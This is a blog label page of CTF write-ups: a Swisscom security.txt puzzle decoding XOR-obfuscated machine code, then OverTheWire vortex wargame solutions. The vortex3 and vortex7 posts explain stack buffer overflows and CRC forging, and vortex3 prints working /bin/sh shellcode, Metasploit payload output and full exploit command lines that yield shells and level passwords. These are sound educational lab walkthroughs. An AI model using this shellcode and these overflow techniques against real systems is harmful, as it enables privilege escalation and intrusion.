Showing posts with label assembly. Show all posts
Showing posts with label assembly. Show all posts

Saturday, January 25, 2025

2022 Swisscom security.txt Challenge Writeup

For the last couple of years, I've been planting a CTF-like challenge as an easter egg in Swisscom's security.txt file (RFC 9116). The current challenge is here: https://www.swisscom.ch/.well-known/security.txt. All challenges are also archived on Github: https://github.com/swisscom/securitytxt. I thought it was about time to provide the solutions to the past challenges, so let's start with year 2022. You were given the following string:

48b8d8cfce84dac3c6c648890748b8ea
d9ddc3d9d9c9c54889470848b8c784c9
c5c7000000488947104831c98a040f34
aa88040f48ffc14883f91575ef

Given the composition of characters 0-9, a-f and the even length, it is safe to assume that it is hex-encoding. Interpreting the values is a bit harder though, it's probably not text, since there are many values outside of the range of ASCII printable characters (0x33 to 0x7e). So, some guessing is needed here (CyberChef is your friend), or you can also ask ChatGPT:

Please provide a concise answer. What does this hex represent? 48b8...5ef
This hex string represents x86-64 machine code (assembly instructions) for a specific program or function. To understand exactly what it does, it would need to be disassembled, revealing the instructions it corresponds to. It may include operations such as moving values to registers, arithmetic operations, or system calls.

Let's go ahead and analyse the machine code in a disassembler. Here's the output of the following CyberChef recipe:

Let's break down the code. Instructions in the violet box (addresses 0x00 to 0x25) are loading a total of 24 bytes into memory at an address stored in RDI (the exact address is unknown). The pattern to load a constant 64-bit (8 byte) value repeats three times:

  • Load an immediate value into register RAX
  • Store the value in RAX to the memory address stored in [RDI + offset]

Note that x86-64 uses little-endian format, therefore the resulting memory content at address referred by RDI is:

RDI+00    D8 CF CE 84 DA C3 C6 C6
RDI+08    EA D9 DD C3 D9 D9 C9 C5
RDI+16    C7 84 C9 C5 C7 00 00 00

Moving on, let's look at the instructions in the orange box (addresses 0x29 to 0x3b). This code iterates over 21 bytes in memory (from [RDI] to [RDI+20]), XOR-ing each byte with the value 0xaa (binary b10101010). Let's look at the instructions in detail:

  • XOR RCX, RCX: Clears RCX (sets it to 0). RCX will be used as the loop counter
  • MOV AL, BYTE PTR [RDI+RCX]: Load a byte from the memory address RDI with offset RCX into the low byte of RAX (AL)
  • XOR AL, AA: Perform an XOR operation between the byte in AL and the immediate value 0xaa
  • MOV BYTE PTR [RDI+RCX], AL: Write the result of the XOR operation back to memory address RDI at offset RCX.
  • CMP RCX, 0x15: Compare the current loop counter (ECX) with value 21 (decimal) 
  • JNE 0x2c: If the loop counter (RCX) is not equal to 21, jump back to the instruction at address 0x2c, which is where the XOR loop starts.

Note that the last instruction JNE (jump not equal/zero) is encoded as 75ef, which represents a short jump, i.e. a relative jump of -17 bytes from the current instruction pointer (EIP, address 0x3d). The resulting jump address is 0x2c. So the code is actually position independent.

After processing the XOR-loop the memory content is set as follows:

RDI+00  72 65 64 2e 70 69 6c 6c  |red.pill|
RDI+08  40 73 77 69 73 73 63 6f  |@swissco|
RDI+16  6d 2e 63 6f 6d 00 00 00  |m.com...|

The first 10 people who wrote a message to this e-mail address received some Swisscom swag as a reward. Note: the e-mail address was chosen as a reference to the 1999 hacker/cyberpunk movie The Matrix, following the nomenclature of the meeting rooms in the Swisscom Cyber Defence offices. Any other references are explicitly excluded.

Wednesday, September 26, 2012

vortex7

About a year ago I stumbled upon the Over The Wire hacker challenges and started solving the first set of levels (called vortex). Since then, I have been publishing my solutions in my blog. Here is vortex level 7:

The code

int main(int argc, char **argv)
{
        char buf[58];
        u_int32_t hi;
        if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) {
                strcpy(buf, argv[1]);
        } else {
                printf("0x%08x\n", hi);
        }
}

The vulnerability exposed in this code is a basic buffer overflow with two subtleties:

  1. The CRC of the buffer must equate to a given value (0xe1ca95ee)
  2. The buffer is rather small (58 bytes)

Manipulating the checksum

The cyclic redundancy check (CRC) computes a check value (or checksum), which is used to detect accidental changes in data, e.g. when transmitting over unreliable communication channels. With this error detecting code, the slightest change (i.e. bit-flip) in the input data results in a very different output pattern. As opposed to cryptographic hash functions like SHA1 or MD5, preimage resistance is not a property of CRC, it is not designed to withstand preimage attacks: given a checksum C, it is not hard to find an input m such that CRC(m) = C. As such, one shouldn't rely on it for integrity checks over insecure channels since it is very easy to manipulate it as is shown in the solution.

To solve this level, I chose to apply the CRC-reversing algorithm described in Reversing CRC – Theory and Practice, which by the way also contains a very nice introduction to CRC. The method consists in appending a 32-bit pattern to the buffer in order to adjust the CRC-remainder to the desired checksum. The same principle is proposed in the suggested lecture, CRC and how to Reverse it. But as opposed to the first approach which uses the inverse of the divisor polynomial, the bit pattern is derived using a system of equations.

Overflowing the buffer

This level contains a classic vulnerability which can easily be exploited to execute arbitrary code: a buffer overflow. The use of the strcpy standard library function to copy a buffer of data to another completely disregards the destination's capacity. If the source buffer is larger than the destination, all bytes will be copied, even though the destination's bound has been exceeded, and in doing so, subsequent structures in memory will be destroyed.

Intercepting the instruction pointer

Depending where the destination buffer is located in the process memory, it may be possible for an attacker to take influence on the program execution flow. In this case, the destination buffer is on the stack. By overflowing the buffer, copying bytes past its bound, the stored eip value will be overwritten. This is a pointer to the next instruction to return to after leaving the current stack frame, i.e. when returning from the current function call. With a meaningful value, it is possible to redirect the execution of the program to any executable location in memory.

Creating a shellcode

The payload we want to execute consists in a small fragment of x86 machine instructions, which perform 2-3 syscalls that allow us to run a shell:

  • geteuid()/setreuid() are used to set the effective user-id. The exploited binary runs with the suid-bit, which means the process is executed in the name of the file owner (the user that has read-privileges for the next level's password file).
  • execve() is called to run /bin/bash.

The original x86/asm code can be found here. Check out the Makefile to see how it is compiled and the raw instruction data is extracted. It is then necessary to encode the data to avoid specific patterns such as \0 bytes. I used metasploit's msfencode tool for this.

Executing arbitrary code

Since the buffer is rather small (58 bytes), it is difficult to dissimulate the malicious payload. An alternative way to include arbitrary data into the process memory is to define an evironment variable containing the data. It will be accessible from the beginning of the stack. The buffer must then overflow the saved eip value to point at the corresponding region in memory. Unfortunately, this address cannot be precisely deduced. Therefore, a common strategy consists in prepending a large number of nop instructions before the shellcode. This extends the landing platform of the target address thus increasing the probability of hitting the shellcode.

The exploit

The finalized exploit is available here. It is a C wrapper which prepares a shellcode and the buffer contents and calls the binary to exploit. I employed following methods from SAR-PR-2006-05 to implement the table driven CRC32 algorithm:

  • make_crc_table()
  • crc32_tabledriven()
  • fix_crc_end()

Since at first the resulting checksum values did not match the ones generated by vortex7 I additionally extracted the CRC32 table from the binary and stored them in crc_table_static. I realized that the vortex7 implementation actually uses 0x00000000 instead of 0xFFFFFFFF for INITXOR and FINALXOR.

The fix_crc_end() function adjusts the buffer such that its checksum eventually results in the desired value 0xe1ca95ee.

make_buffer() creates the data used to overflow the buffer. It contains a repetitive sequence of the target address. It allows to shift the sequence bytewise in order to adjust its alignment. make_payload() generates the buffer which contains the nop sled and the shellcode.

Finally, the wrapper executes vortex7, passing the address buffer as a command line argument and the payload in the environment variables.

The program expects two arguments:

  1. An offset for the target address, relative to the environment pointer taken from the current process (the wrapper).
  2. An alignment index (0-4) used to align the target address in the buffer.

Following arguments worked for me:

$ ./v7_wrapper 0 2
Using address: 0xFFFFD91F
$ whoami
vortex8

The password for the next level is then retrieved from the password file for the next level:

$ cat /etc/vortex_pass/vortex8 
X70A_gcgl

That's it! If you want to learn more about buffer overflows, I suggest you read Smashing the Stack for Fun and Profit by aleph1, originally posted in Phrack Magazine. Also have a look at my blog where I regularily publish vortex level solutions: blog.ant0i.net

Monday, August 13, 2012

vortex6

The goal of vortex level 6 is to reverse engineer a binary executable to exploit it. I used objdump to decompile the code section. Check out the solution on github: https://github.com/antoinet/vortex/tree/master/vortex06

Saturday, July 14, 2012

Monday, June 6, 2011

vortex3

Solution for OTW wargame vortex, level 3

0. Analysis

/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson 
 */


#include 
#include 
#include 

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        *lpp = tmp;

        exit(0);
}

Here's a rough layout of the process memory:

lower memory
addresses       +=================+
.text           | &__DTORS_END__  | ---+ <-+  (A)
                +=================+    |   |
                                       |   |
                +=================+    |   |
__DTORS_LIST__  | 0xFFFFFFFF      |    |   |
                +-----------------+ <--+   |
__DTORS_END__   | &buf            | ---+   |  (B)
                +=================+    |   |
                                       |   |
end of stack    +=================+    |   |
                | buf (128 bytes) | <--+   |  (C)
                |                 |        |
                |                 |        |
                +-----------------+        |
                | tmp             |        |
                +-----------------+        |
                | lpp             | -------+
higher memory   +=================+
addresses
On line 23, the program uses the vulnerable string function strcpy to copy a user provided string to local variable buf on the stack:
strcpy(buf, argv[1]);
The problem is that the function lacks boundary checks on the destination; it will keep on copying characters from the source until reaching the NULL byte, regardless of the capacity of buf (as a side note: to avoid this type of vulnerability you should use strncpy instead which allows to specify how many bytes to copy at most.) By overflowing buf, it is possible to overwrite the variables tmp and lpp with arbitrary values. These variables are located just before buf on the stack. Remember that the stack grows downward, towards the lower memory addresses. We will focus on lpp; the value used to overwrite it must be fitted somewhere after the 128 bytes that fill up buf. The first obstacle consists in bypassing the check on line 25:
if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
    exit(2);
The value of lpp must therefore lie in the range 0x08040000-0x0804FFFF. Line 29 is the key to the exploit:
**lpp = (unsigned long) &buf;
Typically, we will load a shellcode in buf. We will be able to reference it through &buf. This address will be written to the memory location referenced by **lpp. Since we also control lpp, we can actually write &buf anywhere possible in the process memory space. The hard part is the double indirection: in order to write &buf (C) to some memory location (B), we first need another memory location (A) with a reference to (B). As mentioned in the assignment's reading material, we should try to write &buf into the .dtors destructor table section. This is a special structure created by the GNU C compiler which holds a list destructors that will be called before exiting the program. If we manage to inject buf's address in this list, the corresponding memory location will be automatically executed after returning from main (win!). The structure of the .dtors table is fairly simple (see this article for more details). The first field referenced by the symbol __DTORS_LIST__ stores how many entries are kept in the list. The special value -1 (0xFFFFFFFF) denotes that the list is empty, though this seems to be ignored. All subsequent entries up to __DTOR_END__ contain the function pointers. We will append &buf exactly in this location. Use readelf to locate __DTOR_END__ in the symbol table:
$ readelf -s /vortex/vortex3 | grep -i __DTOR_END__
    58: 08049540     0 OBJECT  GLOBAL HIDDEN    18 __DTOR_END__
The tricky part now is that we cannot directly specify __DTOR_END__ as the target address because of the double indirection as mentioned above. Instead, we need a memory location that refers to __DTOR_END__, and in addition it must match 0x0804____ (because of the check on line 25). This memory location can be found by analyzing the auxiliary function __do_global_dtors_aux in the .text section which effectively calls the destructors:
$ gdb /vortex/vortex3
(gdb) disassemble __do_global_dtors_aux
Dump of assembler code for function __do_global_dtors_aux:
   0x08048350 <+0>: push   %ebp
   0x08048351 <+1>: mov    %esp,%ebp
   0x08048353 <+3>: push   %ebx
   0x08048354 <+4>: sub    $0x4,%esp
   0x08048357 <+7>: cmpb   $0x0,0x8049640
   0x0804835e <+14>: jne    0x804839f <__do_global_dtors_aux+79>
   0x08048360 <+16>: mov    0x8049644,%eax
   0x08048365 <+21>: mov    $0x8049540,%ebx
   0x0804836a <+26>: sub    $0x804953c,%ebx
   0x08048370 <+32>: sar    $0x2,%ebx
   0x08048373 <+35>: sub    $0x1,%ebx
   0x08048376 <+38>: cmp    %ebx,%eax
   0x08048378 <+40>: jae    0x8048398 <__do_global_dtors_aux+72>
   0x0804837a <+42>: lea    0x0(%esi),%esi
   0x08048380 <+48>: add    $0x1,%eax
   0x08048383 <+51>: mov    %eax,0x8049644
   0x08048388 <+56>: call   *0x804953c(,%eax,4)
   0x0804838f <+63>: mov    0x8049644,%eax
   0x08048394 <+68>: cmp    %ebx,%eax
   0x08048396 <+70>: jb     0x8048380 <__do_global_dtors_aux+48>
   0x08048398 <+72>: movb   $0x1,0x8049640
   0x0804839f <+79>: add    $0x4,%esp
   0x080483a2 <+82>: pop    %ebx
   0x080483a3 <+83>: pop    %ebp
   0x080483a4 <+84>: ret    
   0x080483a5 <+85>: lea    0x0(%esi,%eiz,1),%esi
   0x080483a9 <+89>: lea    0x0(%edi,%eiz,1),%edi
End of assembler dump.
The instruction at <__do_global_dtors_aux+21> (memory address 0x08048365) actually contains the required reference as its argument. If we skip the mov opcode (1 byte) we get 0x08048366:
(gdb) x/x 0x08048366
0x8048366 <__do_global_dtors_aux+22>: 0x08049540
Another way of finding the address reference is to grep the required address in the program dump:
$ objdump -s  /vortex/vortex3 | egrep 40[[:space:]]*95[[:space:]]*04[[:space:]]*08
 8048360 a1449604 08bb4095 040881eb 3c950408  .D....@.....<...
1. The exploit It's now time to prepare the shellcode. I first used an execsh-payload generated with metasploit:
msf > use linux/x86/exec
msf payload(exec) > set CMD /bin/sh
CMD => /bin/sh
msf payload(exec) > set ENCODER x86/call4_dword_xor
ENCODER => x86/call4_dword_xor
msf payload(exec) > generate -s 60 -t perl
# linux/x86/exec - 128 bytes
# http://www.metasploit.com
# Encoder: x86/call4_dword_xor
# NOP gen: x86/opty2
# AppendExit=false, PrependChrootBreak=false, CMD=/bin/sh, 
# PrependSetresuid=false, PrependSetuid=false, 
# PrependSetreuid=false
my $buf = 
"\xfc\x91\xba\xa9\x72\x2a\xf5\x86\xf9\x93\xb3\x9b\xd4\x34" .
"\x7d\x1c\xe0\x24\x9f\x1d\x2c\x43\x85\xd5\x49\x80\xf8\x48" .
"\x35\x4a\x99\xb8\x04\x4b\x0d\x92\x90\x2f\x8d\xb6\x37\x3d" .
"\x98\xb4\x4e\x0c\x27\x25\xb2\x05\x67\x4f\x97\xb9\xbe\xb7" .
"\x40\xb0\x1b\xfd\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff" .
"\xc0\x5e\x81\x76\x0e\xa1\xd8\x44\x7f\x83\xee\xfc\xe2\xf4" .
"\xcb\xd3\x1c\xe6\xf3\xbe\x2c\x52\xc2\x51\xa3\x17\x8e\xab" .
"\x2c\x7f\xc9\xf7\x26\x16\xcf\x51\xa7\x2d\x49\xd0\x44\x7f" .
"\xa1\xf7\x26\x16\xcf\xf7\x37\x17\xa1\x8f\x17\xf6\x40\x15" .
"\xc4\x7f";
 
It is padded with nops to attain the 128 bytes used to fill up buf. The target address 0x8048366 (converted in little endian) is then appended.
$ /vortex/vortex3 \
"`perl -e 'print "\x98\x3c\x7e\x0c\x05\x46\x49\x15\x6b\xd0\xd4\x66\x9b\xb8" .
 "\x93\x7b\x24\xb0\x42\xfd\x92\x27\x69\xd5\x37\x67\x9f\xb6" .
 "\x76\x04\xb1\xb9\x3f\xa8\x90\x23\xf5\xbb\xb4\x4e\x3d\xb3" .
 "\x97\x2d\x91\x99\x25\xfc\x41\x4b\xbe\x1c\xf8\x4f\xba\xb7" .
 "\x47\x4a\x96\x2f\x29\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff" .
 "\xc0\x5e\x81\x76\x0e\x59\xac\x6e\x65\x83\xee\xfc\xe2\xf4" .
 "\x33\xa7\x36\xfc\x0b\xca\x06\x48\x3a\x25\x89\x0d\x76\xdf" .
 "\x06\x65\x31\x83\x0c\x0c\x37\x25\x8d\x37\xb1\xa5\x6e\x65" .
 "\x59\x83\x0c\x0c\x37\x83\x1d\x0d\x59\xac\x39\x36\xd0\x4d" .
 "\xa3\xe5" . "\x66\x83\x04\x08"x4'`"
Segmentation fault
Unfortunately, the process terminates with a segmentation fault. There is a mention in the assignment notes: "ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro." Writing in .dtors isn't the reason for the segfault, though. The segfault occurs a bit later because we're trying to write in the .text section, where *lpp points to (see line 30 in the C source code). The rest of this article describes a successful attempt achieved before vortex moved and recompiled the levels. It uses a homebrew shellcode taken from this blog article. Fortunately, the password is still the same. 2. Exploit (revisited)
.text
.globl main
main:
        jmp foo
bar:
        # recover string addr
        popl %esi

        # uid_t geteuid(void)
        xor %eax, %eax
        movb $49, %al
        int $0x80

        # int setreuid(uid_t ruid, uid_t euid)
        movl %eax, %ebx
        movl %eax, %ecx
        xor %eax, %eax
        movb $70, %al
        int $0x80

        # int execve(const char *filename, char *const argv[],
        #          char *const envp[])
        xor %eax, %eax
        movb %al, 7(%esi)
        movl %esi, %ebx
        movl %esi, 8(%esi)
        leal 8(%esi), %ecx
        movl %eax, 12(%esi)
        xor %edx, %edx
        movb $11, %al
        int $0x80

foo:
        call bar
baz:
        # pos:  0123456789abcdef
        .ascii "/bin/sh#########"
Assemble it (note: no need to link it, since no absolute addresses are used):
$ as -o foo.o foo.s
This is done to extract the shellcode, take all data inside the .text section (0x3e bytes from offset 0x34)
$ objdump -h foo.o

main.o:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000003e  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000000  00000000  00000000  00000074  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          00000000  00000000  00000000  00000074  2**2
                  ALLOC

$ dd if=main.o bs=1 count=62 skip=52 | \
ruby -e 'puts ARGF.read.unpack("C*").map {|x| sprintf("\\x%02x", x)}.join'
62+0 records in
62+0 records out
62 bytes (62 B) copied, 0.000157837 s, 393 kB/s
\xeb\x27\x5e\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31
\xc0\x88\x46\x07\x89\xf3\x89\x76\x08\x8d\x4e\x08\x89\x46\x0c\x31\xd2\xb0\x0b\xcd
\x80\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x23\x23\x23\x23\x23\x23
\x23\x23
Here is the result:
$ /vortex/vortex3 "`perl -e 'print "\xeb\x27\x5e\x31\xc0\xb0\x31\xcd",
> "\x80\x89\xc3\x89\xc1\x31\xc0\xb0",
> "\x46\xcd\x80\x31\xc0\x88\x46\x07",
> "\x89\xf3\x89\x76\x08\x8d\x4e\x08",
> "\x89\x46\x0c\x31\xd2\xb0\x0b\xcd",
> "\x80\xe8\xd4\xff\xff\xff\x2f\x62",
> "\x69\x6e\x2f\x73\x68\x23\x23\x23",
> "\x23\x23\x23\x23\x23\x23","\x90"x66,"\x98\x94\x04\x08"x4'`"
sh-3.2$ whoami
vortex4
sh-3.2$ cat /etc/vortex_pass/vortex4
2YmgK1=jw